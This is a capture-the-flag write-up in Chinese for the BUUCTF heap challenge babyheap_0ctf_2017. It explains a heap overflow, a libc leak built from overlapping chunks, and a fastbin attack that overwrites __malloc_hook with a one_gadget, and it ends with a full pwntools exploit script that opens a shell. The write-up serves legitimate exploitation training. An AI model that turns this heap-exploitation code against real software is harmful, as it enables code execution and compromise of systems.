BUUCTF 靶场
CTF wiki
-
安全策略
[*] '/root/ctf/buuctf/pwn/babyheap_0ctf_2017' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
这题防护全开,尤其注意开启了Full RELRO,这样没办法通过劫持GOT表来getshell,可以考虑
__malloc_hook
,__free_hook
,__exit_hook
等方式。开启了pie也无法通过chunk表之类的直接进行劫持。 -
静态分析
溢出点
本题是一个很典型的堆溢出的题干,溢出点在填充chunk时,填充的内容长度时用户自定义的,这个长度是可以超过chunk的大小的,由此可以造成溢出。
libc_base
allocate一个small chunk再free时,加入到unsroted bin时,释放后的chunk结构如下
| prev_size | | size | | fd | | bk |
对于第一个unsorted bin中的chunk,它的fd和bk指针同时指向
main_Arena
中usorted bin list的ptr。通过gdb获取这个地址和libc基址的偏移,就可以计算libc的基址。但本题中如何泄露这个地址是个难点。chunk不存在UAF的问题,同时新建chunk时使用的calloc会重置chunk的内容,而打印chunk内容时只会打印chunk_size大小的内容并不会泄露相邻chunk的内容。
本题泄露的方式是制造重叠,即使两个不同的chunk使用同一个地址空间。操作方式如下
-
分配如下的chunk,中间一个是small chunk
allocate(0x20) # id_0 allocate(0x100) # id_1 allocate(0x20) # id_2
此时的heap分配如下
id-0 chunk0 : size=0x31 id-1 chunk1 : size=0x111 id-2 chunk2 : size=0x31 top-chunk
-
通过对id_0的写入,制造溢出,修改id_1的内容,将其人为分割为两个chunk
id-0 chunk0 : size=0x31 id-1 chunk1-a : size=0x31 chunk2-b : size=oxe0 id-2 chunk2 : size=0x31 top-chunk
此时我们想办法在分配一个新的chunk时,让其使用chunk1-a的空间,就可以造成重叠了。
-
一开始时多分配两个fast chunk
allocate(0x20) # id_0 allocate(0x20) # id_1 allocate(0x20) # id_2 allocate(0x100) # id_3 allocate(0x20) # id_4
然后释放id-1和id-2,释放后的heap示意图如下
id-0 chunk0 : size=0x31 id-1 chunk1 : size=0x31 fd=0 id-2 chunk2 : size=0x31 fd=chunk1_ptr id-3 chunk3 : size=0x111 id-3 chunk4 : size=0x31 top-chunk
-
利用id-0的溢出,修改id-1的chunk1_ptr地址。我们知道chunk间的偏移是固定的,因此我么只需要修改id
-1的fd的最低位,就可以使其指向chunk3_ptr
id-0 chunk0 : size=0x31 id-1 chunk1 : size=0x31 fd=0 id-2 chunk2 : size=0x31 fd=chunk3_ptr id-3 chunk3 : size=0x111 id-3 chunk4 : size=0x31 top-chunk
此时两个allocate(0x20)的chunk,第二个就会分配到chunk3_ptr开始的地址。当然,在allocate之前还需要按照上面讨论的,把chunk3拆成两个小的chunk。待分配成功后,再次覆盖,将两个chunk合并。
-
最后free(id-3),打印id-1就可以获得main-arena的地址,从而计算出libc_base
任意地址写
获取了libc_base之后,还需要实现向任意地址写入的能力。在本题中可以使用fastbin attack实现,即释放一个fast chunk,然后篡改fd指针,这样再次malloc的时候就会在fd指针的位置分配一个chunk。但是这里需要注意,分配的位置是需要有一个chunk结构的,其chunk_size应该满足fast bin的大小匹配。
malloc_hook 和 one_gadget
向malloc_hook写入one_gadget,在调用malloc时,会先执行malloc_hook从而getshell。本题的第二个难点就是在malloc_hook找一个能用的chunk结构,可以看到malloc_hook上一个地址又个0x7f,这个大小可以对应0x60和0x68大小的chunk,因此通过改变对齐的位置,可以构造出一个chunk
-
-
exp
from pwn import * context.log_level = 'debug' #conn = remote('node4.buuoj.cn', 25222) conn = process('./babyheap_0ctf_2017') #gdb.attach(conn, 'b calloc') def select(id): conn.sendlineafter(b'Command: ', str(id).encode()) def newchunk(size): select(1) conn.sendlineafter(b'Size: ', str(size).encode()) conn.recvline() def fillchunk(id, content): select(2) conn.sendlineafter(b'Index: ', str(id).encode()) conn.sendlineafter(b'Size: ', str(len(content)).encode()) conn.sendlineafter(b'Content: ', content) def freechunk(id): select(3) conn.sendlineafter(b'Index: ', str(id).encode()) def showchunk(id): select(4) conn.sendlineafter(b'Index: ', str(id).encode()) conn.recvuntil(b'Content: \n') return conn.recvline() if __name__ == "__main__": # 制造重叠 newchunk(0x20) # 0 newchunk(0x20) # 1 newchunk(0x20) # 2 newchunk(0x20) # 3 newchunk(0x100) # 4 freechunk(1) freechunk(2) payload = b'a' * 0x28 # padding #0 payload += p64(0x31) + b'\x00' * 0x28 # padding #1 payload += p64(0x31) + b'\xc0' # override the lowest byte of fd ptr fillchunk(0, payload) payload = b'a' * 0x28 + p64(0x31) + b'\x00' * 0x28 + p64(0xe0) fillchunk(3, payload) newchunk(0x20) # 1 newchunk(0x20) # 2 has same ptr with # 4 newchunk(0x20) # 5 # 泄露libc payload = b'a' * 0x28 + p64(0x111) fillchunk(3, payload) freechunk(4) res = showchunk(2) unsorted_bin = u64(res[:6].ljust(0x8, b'\x00')) print(f'usorted bin: {hex(unsorted_bin)}') # 这里的偏移是本地偏移,线上环境可能不同 libc_base = unsorted_bin - 0x3c3b78 malloc_hook = unsorted_bin - 0x68 # one_gadget : 0x45206 0x4525a 0xef9f4 0xf0897 one_gadget = libc_base + 0x4525a # 覆盖__malloc_hook newchunk(0x60) # 4 freechunk(4) payload = p64(malloc_hook-0x23) fillchunk(2, payload) newchunk(0x60) # 4 newchunk(0x60) # 6 payload = b'a' * 0x13 + p64(one_gadget) fillchunk(6, payload) select(1) conn.sendlineafter(b'Size: ', str(0x100).encode()) #conn.recv() conn.interactive()